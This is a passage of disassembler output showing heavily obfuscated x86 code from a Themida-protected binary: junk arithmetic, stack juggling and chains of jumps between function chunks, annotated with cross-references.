; END OF FUNCTION CHUNK FOR sub_598DC3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_59B355: ; CODE XREF: sub_59CAFB-B137j
sub edi, 4
xchg edi, [esp+8+var_8]
pop esp
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
mov eax, [esp+4+var_4]
sub esp, 4
mov [esp+8+var_8], esi
push esp
pop esi
jmp sub_599294
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
loc_59B379: ; CODE XREF: Themida_:005A0F46j
add edx, ecx
push dword ptr [edx]
sub dword ptr [esp], 33912BDDh
pop eax
jmp loc_590C70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59B2AF
loc_59B38A: ; CODE XREF: sub_59B2AF+902Cj
dec ebp
jmp loc_5A10A5
; END OF FUNCTION CHUNK FOR sub_59B2AF
; ---------------------------------------------------------------------------
loc_59B390: ; CODE XREF: Themida_:005A2842j
pop ebx
sub ebx, 4629EE53h
jmp loc_5A5A20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B39C: ; CODE XREF: sub_59390B+9E10j
sub esi, 4E8B58E5h
jmp loc_59AF4F
; ---------------------------------------------------------------------------
loc_59B3A7: ; CODE XREF: sub_59390B+D448j
sub edi, 0FF8722FBh
mov eax, edi
pop edi
add edi, eax
pop eax
xor edi, [esp-10h+arg_8]
xor [esp-10h+arg_8], edi
jmp loc_591C69
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59B3BE: ; CODE XREF: Themida_:00597368j
mov [esp], ebp
mov ebp, 69B187A3h
add edx, 328162B9h
add edx, ebp
sub edx, 328162B9h
jmp loc_59698C
; ---------------------------------------------------------------------------
loc_59B3D9: ; CODE XREF: Themida_:0059A577j
push edx
mov edx, 348D6F9Dh
push 0D04h
mov [esp], edx
jmp loc_598E5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_597C8E
loc_59B3EC: ; CODE XREF: sub_597C8E+5497j
mov esi, 5E266F5Ah
and esi, 696D41DCh
sub esp, 4
jmp loc_5A1F9F
; END OF FUNCTION CHUNK FOR sub_597C8E
; ---------------------------------------------------------------------------
loc_59B3FF: ; CODE XREF: Themida_:005A3221j
xchg ebx, [esp]
pop esp
add [esp], ax
pushf
jmp loc_59E29B
; ---------------------------------------------------------------------------
loc_59B40D: ; CODE XREF: Themida_:005A46DCj
sub ecx, ebp
pop ebp
jmp loc_5980DA
; ---------------------------------------------------------------------------
loc_59B415: ; CODE XREF: Themida_:0059BE9Ej
pop esi
jmp loc_595EC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B41B: ; CODE XREF: sub_59390B+994Aj
sub esi, edx
jmp loc_5920E9
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59B422: ; CODE XREF: Themida_:00590DEFj
push eax
mov eax, edi
push ecx
push eax
push ebp
push ebx
push edi
mov edi, 28347D05h
inc edi
neg edi
neg edi
shl edi, 4
add edi, 356C6D64h
add edi, 0A2620AC8h
mov ebx, edi
jmp loc_59CFAF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B44A: ; CODE XREF: sub_59390B+9F68j
mov edi, [esp-10h+arg_8]
add esp, 4
push esi
mov esi, 954D8C6Dh
sub ecx, esi
jmp loc_597D1D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59B460: ; CODE XREF: Themida_:0059BB32j
and eax, 11E5FAAh
jmp loc_5A4C36
; ---------------------------------------------------------------------------
loc_59B46A: ; CODE XREF: Themida_:00599D57j
push dword ptr [esp]
mov ebx, [esp]
push ebp
jmp loc_596CCF
; ---------------------------------------------------------------------------
loc_59B476: ; CODE XREF: Themida_:005A4D4Aj
add ebx, 4
jmp loc_5A3B35
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F4E7
loc_59B481: ; CODE XREF: sub_59F4E7+410Fj
add ebp, 4
xchg ebp, [esp-0Ch+arg_8]
jmp loc_5A0B1D
; END OF FUNCTION CHUNK FOR sub_59F4E7
; ---------------------------------------------------------------------------
loc_59B48F: ; CODE XREF: Themida_:0059F824j
sub al, 0B4h
sub al, bl
jmp loc_595E28
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B498: ; CODE XREF: sub_59390B-181Cj
sub esi, 5A6F408Bh
mov edx, [esp-0Ch+arg_4]
add esp, 4
jmp loc_59EDE4
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_59B4A9: ; CODE XREF: sub_59FD45+4926j
add esp, 4
jmp loc_5A5B94
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
loc_59B4B4: ; CODE XREF: Themida_:005924F3j
xchg edx, [esp]
pop esp
add eax, 2846418Ah
add eax, ebx
jmp loc_59DC7C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B4C4: ; CODE XREF: sub_59390B+6DF9j
pop edx
sub ebp, 65E55148h
and ecx, ebp
mov ebp, [esp+8+var_8]
add esp, 4
shr ecx, 7
push 26B5h
mov [esp+8+var_8], edx
push 3F35h
mov [esp+0Ch+var_C], ebx
push [esp+0Ch+var_C]
pop edx
jmp loc_5A0D6A
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_59B4F2: ; CODE XREF: sub_59E918-5D73j
mov cl, 0C3h
add bl, cl
jmp loc_59A1D5
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
loc_59B4FB: ; CODE XREF: Themida_:0059EB36j
add eax, ebx
jmp loc_5A08DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B502: ; CODE XREF: sub_59390B-1705j
pop ebp
push esi
push [esp-14h+arg_10]
mov esi, [esp-10h+arg_8]
push ebp
mov ebp, esp
jmp loc_5A31EB
; ---------------------------------------------------------------------------
loc_59B513: ; CODE XREF: sub_59390B+6E36j
pop ebp
push [esp-0Ch+arg_4]
pop edi
add esp, 4
xor ecx, [esp-10h+arg_8]
jmp loc_5A3110
; ---------------------------------------------------------------------------
loc_59B526: ; CODE XREF: sub_59390B+1C5Cj
mov [esp-1Ch+arg_14], esi
mov esi, esp
sub esp, 4
mov [esp-18h+arg_10], ebp
jmp loc_597035
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59B536: ; CODE XREF: Themida_:005A0931j
push esp
pop edi
push ebx
push ecx
mov ecx, 18DD10FDh
push edi
mov edi, 0E722EF07h
add ecx, edi
mov edi, [esp]
jmp loc_595CFC
; ---------------------------------------------------------------------------
loc_59B54F: ; CODE XREF: Themida_:0059D249j
pop edi
jmp loc_591C4D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_59B555: ; CODE XREF: sub_59A75E+9CE2j
mov si, word ptr [esp+2+var_4+2]
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+6+var_8+2]
pop esp
jmp loc_59AA6A
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_59B571: ; CODE XREF: sub_591FC5+6416j
xor bl, al
movzx eax, al
jmp dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
popa
jmp locret_597168
; =============== S U B R O U T I N E =======================================
sub_59B57F proc near ; CODE XREF: sub_5A5219-F6C0j
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], ebp
jmp loc_593EC2
sub_59B57F endp
; ---------------------------------------------------------------------------
loc_59B58D: ; CODE XREF: Themida_:00591DCBj
xchg ebx, [esp]
pop esp
jmp loc_5A086D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B596: ; CODE XREF: sub_59390B+11517j
push eax
push 0B227110h
jmp loc_594073
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59B5A1: ; CODE XREF: Themida_:0059C124j
sub ebx, 0F41FA85Ah
push eax
mov eax, 5D7B4B3Eh
sub eax, 1
xor eax, 202B5B58h
add eax, 0F6E050AEh
sub ecx, eax
jmp loc_59BF7F
; ---------------------------------------------------------------------------
loc_59B5C1: ; CODE XREF: Themida_:0059314Aj
push 0B93h
jmp loc_597AB3
; ---------------------------------------------------------------------------
loc_59B5CB: ; CODE XREF: Themida_:00593286j
mov edx, 7901A12Ah
sub edx, esi
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_596335
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_59B5E1: ; CODE XREF: sub_599AE1-6487j
push esi
jmp loc_596DB9
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
loc_59B5E7: ; CODE XREF: Themida_:0059220Dj
mov edi, [esp]
add esp, 4
add ebx, ecx
jmp loc_59E09E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A09BC
loc_59B5F7: ; CODE XREF: sub_5A09BC-5E7Ej
xor [esp-0Ch+arg_8], eax
xor eax, [esp-0Ch+arg_8]
jmp loc_59FCA2
; END OF FUNCTION CHUNK FOR sub_5A09BC
; ---------------------------------------------------------------------------
loc_59B602: ; CODE XREF: Themida_:005915ACj
push edx
mov edx, 3FCC5708h
jmp loc_5A4AC4
; ---------------------------------------------------------------------------
loc_59B60D: ; CODE XREF: Themida_:0059BE89j
or ebp, 57263585h
sub ebp, 0C510B5E4h
mov edx, ebp
pop ebp
add esi, edx
pop edx
add esi, ebp
sub esi, 3A2749B1h
pop ebp
pop ebx
push 2600h
jmp loc_5A308F
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov edx, [esp]
add esp, 4
jmp loc_5A09B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594A8D
loc_59B641: ; CODE XREF: sub_594A8D+ECDBj
add edi, 52380D4Dh
xchg ebp, edi
not ebp
jmp loc_591367
; END OF FUNCTION CHUNK FOR sub_594A8D
; ---------------------------------------------------------------------------
loc_59B650: ; CODE XREF: Themida_:00596E69j
mov ebp, esp
add ebp, 4
jmp loc_592266
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B65D: ; CODE XREF: sub_59390B+D1DDj
and eax, 38A659A7h
jmp loc_5A4900
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59B667: ; CODE XREF: Themida_:00598CC3j
pop ecx
pop ebx
push edi
mov edi, 3AAA6F9Dh
push ecx
mov ecx, 3E7E174Eh
or edi, ecx
jmp loc_59975A
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
mov eax, esp
jmp loc_5A065F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F5C8
loc_59B688: ; CODE XREF: sub_59F5C8+5j
pop ebx
pop ecx
jmp loc_5922C2
; END OF FUNCTION CHUNK FOR sub_59F5C8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590AC5
loc_59B68F: ; CODE XREF: sub_590AC5+BFC6j
xchg ebp, [esp-4+arg_0]
pop esp
add edi, 4
add edi, 4
push 79C2h
mov [esp-4+arg_0], edi
jmp loc_596A87
; END OF FUNCTION CHUNK FOR sub_590AC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B6A9: ; CODE XREF: sub_59390B+76A2j
pop ecx
sub bl, ah
jmp loc_595D23
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59B6B1: ; CODE XREF: Themida_:0059AC5Cj
pop eax
pop edx
pop eax
mov ch, bl
jmp loc_5954C9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_59B6BB: ; CODE XREF: sub_5A4CDD-11D8Dj
pop ebx
sub edx, 4
jmp loc_5A4CC5
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
loc_59B6C7: ; CODE XREF: Themida_:005A16B2j
push edx
mov edx, 75D54863h
sub edx, 39D2139Ch
jmp loc_59AA72
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_59B6D8: ; CODE XREF: sub_59FCCB-97F0j
push ecx
jmp loc_5A47AE
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_59E7B1
; ---------------------------------------------------------------------------
loc_59B6E7: ; CODE XREF: Themida_:005921D0j
add esp, 4
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_592F80
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B6F6: ; CODE XREF: sub_59390B+2B5Fj
xor edx, 414D1D9Bh
sub esp, 4
mov [esp-16h+arg_C+2], edx
pop esi
mov edx, [esp-1Ah+arg_10+2]
add esp, 4
sub ebp, esi
pop esi
xor ebp, [esp-22h+arg_18+2]
xor [esp-22h+arg_18+2], ebp
xor ebp, [esp-22h+arg_18+2]
mov esp, [esp-22h+arg_18+2]
mov [esp-22h+arg_18+2], eax
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_59B720: ; CODE XREF: sub_591FC5+11FC0j
xor dh, ah
jmp loc_598563
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B727: ; CODE XREF: sub_59390B+607Dj
inc edx
push eax
mov eax, esp
jmp sub_591745
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59BBA6
loc_59B730: ; CODE XREF: sub_59BBA6-AE1j
push edx
mov edx, 6BBB23C7h
sub edx, 7EAB1D53h
sub edx, 0A7E9F047h
xor ebx, edx
pop edx
xor ebx, 240829C4h
add ebx, 55AEF5C1h
sub eax, ebx
mov ebx, [esp-8+arg_4]
add esp, 4
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59BBA6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591F0D
loc_59B761: ; CODE XREF: sub_591F0D+Ej
shr ebp, 2
jmp loc_5A2A5A
; END OF FUNCTION CHUNK FOR sub_591F0D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59654E
loc_59B769: ; CODE XREF: sub_59654E+342j
mov esi, 7BDD32A2h
jmp loc_592010
; END OF FUNCTION CHUNK FOR sub_59654E
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push eax
push 4EA3h
push esp
jmp loc_5A00F3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B788: ; CODE XREF: sub_59390B+FE28j
mov esi, ebp
pop ebp
pop ecx
sub edx, esi
pop esi
add edx, edi
jmp loc_59F60B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A51EA
loc_59B796: ; CODE XREF: sub_5A51EA-B55j
sub al, cl
jmp loc_5A542E
; END OF FUNCTION CHUNK FOR sub_5A51EA
; ---------------------------------------------------------------------------
loc_59B79D: ; CODE XREF: Themida_:0059F6BAj
add esi, ebx
pop ebx
sub esi, 0F4C19158h
mov edi, esi
pop esi
add [esp+4], edi
pop edi
sub dword ptr [esp], 7E1E16E7h
jmp loc_595EA6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D1FC
loc_59B7BA: ; CODE XREF: sub_59D1FC-26Aj
mov [esp-4+arg_0], ebp
push 1002D9F3h
push dword ptr [esp+0]
pop ebp
sub esp, 4
jmp loc_5A162E
; END OF FUNCTION CHUNK FOR sub_59D1FC
; ---------------------------------------------------------------------------
loc_59B7CE: ; CODE XREF: Themida_:00598BBDj
push ebp
mov ebp, esp
jmp loc_5A36FD
; ---------------------------------------------------------------------------
loc_59B7D6: ; CODE XREF: Themida_:0059AE94j
neg ch
jmp loc_598C9B
; ---------------------------------------------------------------------------
loc_59B7DD: ; CODE XREF: Themida_:005A2FE4j
push esi
mov esi, 0AFD4F85h
sub esp, 4
mov [esp], esi
xchg edi, [esp]
neg edi
jmp loc_5A3F53
; ---------------------------------------------------------------------------
loc_59B7F6: ; CODE XREF: Themida_:005A4BD7j
sub edi, ebp
pop ebp
pop esi
push dword ptr [esp]
pop ecx
add esp, 4
push 78F1h
jmp loc_5A370B
; ---------------------------------------------------------------------------
loc_59B80B: ; CODE XREF: Themida_:005A1629j
mov eax, 4
add edi, eax
jmp loc_59E691
; =============== S U B R O U T I N E =======================================
sub_59B817 proc near ; DATA XREF: Themida_:00590A50o
var_4 = dword ptr -4
push dword ptr [esp+0]
mov eax, [esp+4+var_4]
push ebx
mov ebx, esp
jmp loc_593DC2
sub_59B817 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_59B825: ; CODE XREF: sub_59CFD4-C336j
mov eax, 154B675Ch
jmp loc_5A401A
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
loc_59B82F: ; CODE XREF: Themida_:0059A70Dj
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_59BD67
; ---------------------------------------------------------------------------
mov ax, [esp]
push edi
push esp
jmp loc_59BD4B
; ---------------------------------------------------------------------------
loc_59B84C: ; CODE XREF: Themida_:00599ACEj
or edx, esi
pop esi
add edx, 8B83955Eh
add edi, 711A5087h
add edi, edx
sub edi, 711A5087h
mov edx, [esp]
jmp loc_5A19F1
; ---------------------------------------------------------------------------
loc_59B86B: ; CODE XREF: Themida_:005949A5j
add edx, 6C7D6EBEh
add edx, ecx
sub edx, 6C7D6EBEh
pop ecx
sub esp, 4
mov [esp], edx
jmp loc_5A14E5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B888: ; CODE XREF: sub_59390B+71DCj
mov ebx, edi
jmp loc_591982
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_59B88F: ; CODE XREF: sub_59FD45+6j
pop [esp-4+arg_0]
pop esp
mov [esp+0], ebp
mov ebp, 0E780A8Ch
jmp loc_594CA3
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_59B8A0: ; CODE XREF: sub_591FC5+4F9Bj
add esp, 4
or cl, 38h
add cl, 28h
push 6122h
jmp loc_5A2FA3
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
loc_59B8B6: ; CODE XREF: Themida_:005993E8j
mov bh, 0C6h
xor dl, bh
pop ebx
jmp loc_59C734
; ---------------------------------------------------------------------------
loc_59B8C0: ; CODE XREF: Themida_:005A0DD1j
push ebx
push ecx
jmp loc_5A24BE
; =============== S U B R O U T I N E =======================================
sub_59B8C7 proc near ; CODE XREF: sub_595BAD+7DF8j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00591A33 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00591FDA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A3ADC SIZE 00000015 BYTES
push ebp
jmp loc_591FDA
sub_59B8C7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F53F
loc_59B8CD: ; CODE XREF: sub_59F53F-5AB9j
push eax
mov eax, 4A966FFFh
push edx
mov edx, 5C50A0Ch
add eax, edx
mov edx, [esp+0]
add esp, 4
xor eax, 25DC01E3h
add eax, 490B319Dh
sub edi, 135B6DAEh
jmp loc_59D59D
; END OF FUNCTION CHUNK FOR sub_59F53F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B8F9: ; CODE XREF: sub_59390B+102E8j
inc edi
xor edi, 212B2FBBh
push ecx
mov ecx, 33CF2A42h
jmp loc_59CB1C
; ---------------------------------------------------------------------------
loc_59B90B: ; CODE XREF: sub_59390B+3BF5j
mov edx, [esp-10h+arg_8]
add esp, 4
and eax, ebx
pop ebx
or edx, eax
shl edx, 1
push ebx
push esp
mov ebx, [esp-10h+arg_8]
add esp, 4
add ebx, 4
sub ebx, 4
xchg ebx, [esp-14h+arg_C]
mov esp, [esp-14h+arg_C]
jmp loc_59FB72
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59B937: ; CODE XREF: Themida_:0059E770j
pop ecx
xor eax, ebp
mov ebp, [esp]
jmp loc_59154C
; ---------------------------------------------------------------------------
loc_59B942: ; CODE XREF: Themida_:00596F85j
mov [esp], edi
mov edi, 4
sub dword ptr [esp+4], 27AA3B1Eh
jmp loc_5926AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B957: ; CODE XREF: sub_59390B+EB1Cj
neg ch
push dx
mov dh, 0D1h
xor ch, dh
pop dx
and ch, 0D8h
add ch, 0B2h
sub ch, 0A2h
sub dl, ch
mov ecx, [esp-14h+arg_C]
jmp loc_5976F8
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59B974: ; CODE XREF: Themida_:005934DEj
xor ebp, 167664A4h
sub ebp, 6FD02A79h
inc ebp
not ebp
add ebp, 6730636Eh
push esi
jmp loc_59D313
; ---------------------------------------------------------------------------
loc_59B98F: ; CODE XREF: Themida_:005A4915j
pop edx
add ch, ah
pop eax
or ch, 0EBh
xor ch, 1Ch
xor al, ch
push dword ptr [esp]
jmp loc_5A2EAF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B9A3: ; CODE XREF: sub_59390B-2414j
add ecx, edi
jmp loc_59646F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59386B
loc_59B9AA: ; CODE XREF: sub_59386B+93BFj
sub esi, edi
mov edi, [esp+4+var_4]
jmp loc_59DAA6
; END OF FUNCTION CHUNK FOR sub_59386B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B9B4: ; CODE XREF: sub_59390B+9CADj
mov edi, 3663251Dh
neg edi
add edi, 6FDC0449h
or edi, 2406672Ch
xor edi, 1F3F8FD1h
jmp loc_592F93
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59B9D2: ; CODE XREF: Themida_:00598EDDj
xor esi, [esp]
xor [esp], esi
jmp loc_594849
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B9DD: ; CODE XREF: sub_59390B+FA89j
xor edx, esi
pop esi
jmp loc_592E77
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A4D6
loc_59B9E5: ; CODE XREF: sub_59A4D6+8811j
pop ecx
or ebp, eax
jmp loc_596B67
; END OF FUNCTION CHUNK FOR sub_59A4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B9ED: ; CODE XREF: sub_59390B+616Ej
add esi, edi
jmp loc_5933D3
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59B9F4: ; CODE XREF: Themida_:005A23CAj
xchg esi, ecx
not esi
xchg esi, ecx
sub esp, 4
mov [esp], edi
mov edi, 4E777A77h
jmp loc_59290E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0060
loc_59BA0A: ; CODE XREF: sub_5A0060+6j
add esi, ebx
pop ebx
xchg esi, [esp+0]
mov esp, [esp+0]
mov eax, [esp+0]
jmp loc_5A1D12
; END OF FUNCTION CHUNK FOR sub_5A0060
; ---------------------------------------------------------------------------
loc_59BA1B: ; CODE XREF: Themida_:0059A54Aj
add ebx, 0F59D8B5h
sub ecx, ebx
jmp loc_59E88D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_59BA28: ; CODE XREF: sub_59A75E+7D5Bj
mov esp, [esp+2+var_4+2]
add bx, 0D30h
sub bx, 0C31h
sub bx, ax
add bx, 0C31h
sub bx, 0D30h
push si
jmp loc_59ED1A
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59BA49: ; CODE XREF: sub_59390B+BF20j
add ebp, 192BD0h
add ecx, ebp
pop ebp
xor ecx, [esp+0]
jmp loc_59F3C5
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59BA5A: ; CODE XREF: Themida_:005A2992j
push edx
mov edx, 2A2A439Eh
inc edx
sub edx, 158D4BC2h
not edx
neg edx
sub edx, 976DD3Eh
mov esi, edx
pop edx
sub [esp+0Ch], esi
pop esi
push ebx
jmp loc_598F00
; ---------------------------------------------------------------------------
loc_59BA7F: ; CODE XREF: Themida_:00598832j
mov ebp, esp
jmp loc_5A388E
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], ax
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59BA96: ; CODE XREF: sub_59390B+53D7j
add al, 0D0h
push ebx
mov bh, 4Fh
and bh, 15h
neg bh
shl bh, 8
shr bh, 1
shl bh, 7
push ecx
mov ch, 53h
xor ch, 0EEh
sub bh, ch
jmp loc_591FD0
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59EA40
loc_59BAB5: ; CODE XREF: sub_59EA40-D581j
mov ebx, esp
add ebx, 4
push eax
mov eax, 4
add ebx, eax
pop eax
sub esp, 4
mov [esp+8+var_8], ebx
push [esp+8+var_4]
pop ebx
pop [esp+8+var_8]
pop esp
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_598865
; END OF FUNCTION CHUNK FOR sub_59EA40
; ---------------------------------------------------------------------------
loc_59BAE6: ; CODE XREF: Themida_:00596169j
mov ecx, esp
add ecx, 4
push edx
push ecx
mov ecx, 68524E6Bh
mov edx, 97ADB199h
add edx, ecx
pop ecx
jmp loc_59D323
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F53F
loc_59BB02: ; CODE XREF: sub_59F53F-9C69j
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp-4+arg_0]
pop esp
mov [esp-8+arg_4], ebx
push [esp-8+arg_8]
pop ebx
jmp loc_59D9F6
; END OF FUNCTION CHUNK FOR sub_59F53F
; ---------------------------------------------------------------------------
loc_59BB1E: ; CODE XREF: Themida_:0059EB82j
sub esp, 4
jmp loc_5A23E2
; ---------------------------------------------------------------------------
loc_59BB26: ; CODE XREF: Themida_:0059ACEEj
add eax, ebp
pop ebp
and eax, 73E233D3h
inc eax
shl eax, 6
jmp loc_59B460
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59918B
loc_59BB37: ; CODE XREF: sub_59918B+9C67j
sub edi, 0E806062h
mov eax, edi
pop edi
push ecx
mov ecx, eax
mov edx, ecx
pop ecx
pop eax
add ebp, edx
pop edx
add ebp, 4
xchg ebp, [esp-10h+arg_C]
jmp loc_59C956
; END OF FUNCTION CHUNK FOR sub_59918B
; ---------------------------------------------------------------------------
loc_59BB55: ; CODE XREF: Themida_:005A1050j
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_591016
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FE1
loc_59BB69: ; CODE XREF: sub_591FE1+C717j
push esp
jmp loc_5A1CD7
; END OF FUNCTION CHUNK FOR sub_591FE1
; ---------------------------------------------------------------------------
loc_59BB6F: ; CODE XREF: Themida_:005A523Aj
mov edx, [esp]
add esp, 4
add esp, 4
push ecx
mov ecx, 20256A9h
push 5AF5h
jmp loc_59DFE6
; ---------------------------------------------------------------------------
loc_59BB8B: ; CODE XREF: Themida_:005A0840j
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edx
push 6FC7h
jmp loc_596178
; =============== S U B R O U T I N E =======================================
sub_59BBA6 proc near ; CODE XREF: sub_5A059C+1Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00592928 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005988B7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B0B9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059B730 SIZE 00000031 BYTES
push ebx
mov ebx, 0E6D0A84h
sub ebx, 685B4984h
shl ebx, 8
shr ebx, 3
add ebx, 1EDEE69Ah
jmp loc_592928
sub_59BBA6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59BBC3: ; CODE XREF: sub_59390B+E508j
push eax
mov eax, 17C10C0Eh
jmp loc_593AD0
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
